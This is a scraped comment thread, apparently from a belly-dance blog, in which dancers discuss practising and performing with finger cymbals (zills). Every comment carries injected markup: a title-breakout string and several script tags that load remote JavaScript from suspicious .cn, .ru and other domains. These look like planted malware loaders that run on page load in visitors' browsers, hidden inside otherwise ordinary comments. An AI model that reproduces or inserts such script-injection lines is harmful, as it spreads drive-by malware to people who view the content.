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Finger Cymbals According To La |
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| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Layla, I've seen you perform before and you are AWESOME with finger cymbals! You definitely inspired me to practice more.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Layla, I bow my head humbly in homage to your zill expertise! So true that you can't just go to class and get the zills. You have to put them on your little fingers & let them get blue from practice. Your private practice will be where you discover your own individual style. I used to hate the zill drills in class. My very first teacher turned off the music & made us stand in place & play the gallop, 4's, 3's doubles and singles. Then when the music came on we didn't know were all those variations went. Now you want me to move with it? The whole annoyance of everyone starting to play them off key as soon as the teacher said to pull them out was enough to dread zill practice. Zenaide was the one that made me feel like the cement boots were finally off my feet when we practiced the zills. She started with the rhythms, then gently snuck in a few swaying movements, then some kashes & some turns (sneaky girl!) and BOOM, next thing you know you're playing & dancing at the same freaking time! When I practiced alone (and was not intimidated by my peers whom were playing better than I was) I began to discover that I not only got much better, but actually started to like them. Now, that said, I don't think I like 'em enough to do a whole show with them, but I feel confident enough to do an entrance and a close. They do bring joy to the dance. I still like my veil more, but me & my cymbals have become buddies and I like to take them out an play.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Laylamary |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Tasnim, it's Layla! Thanks so much for your lovely comment. Zenaide (my best friend) is a fabulous dancer/ cymbal technician and I am so happy you are studying with her. Just to reinforce something you said about your early training...cymbal instruction cannot be successful if students aren't moving. Of course a teacher can demonstrate a pattern and have the students play through it a few times just to accustom their minds to the pattern and their hands to the mechanical execution of said pattern but movement while learning cymbals is essential even if it is just walking forward and back or swaying side to side. The mind/body must get the idea from early on that those little brass diskies are "separate and apart". We train our bodies to isolate, right? We keep our rib cage lifted and still during hip movements. We keep our hips still if we are isolating the upper portion of the body with an rib cage circle or shoulder rolls, yes?. No difference here. Certainly it is a "synergistic" relationship (the body and cymbals) to the nth degree but isolation/separation is the goal here to be able to play those cymbals with freedom and dare I say wild abandon??? I might sound a bit fanatical but what the heck...cymbals are my thing! L.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Jaklina |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Layla,
I agree with you that zills add so much to a performance. I love to watch peoples' faces in the audience as they mimic the motion of the tek-a-tekking. It's always a thrill to play my zills. I try to mix up the rhythms so I don't begin to sound monotonous but I agree with you about the chiftetelli & rumba where I don't play them. I do like to add some zills during a solo though but not always. I'm still exploring the rhythms & patterns (must practice my Karsh ;) & can't wait to see you play again!
Shimmies<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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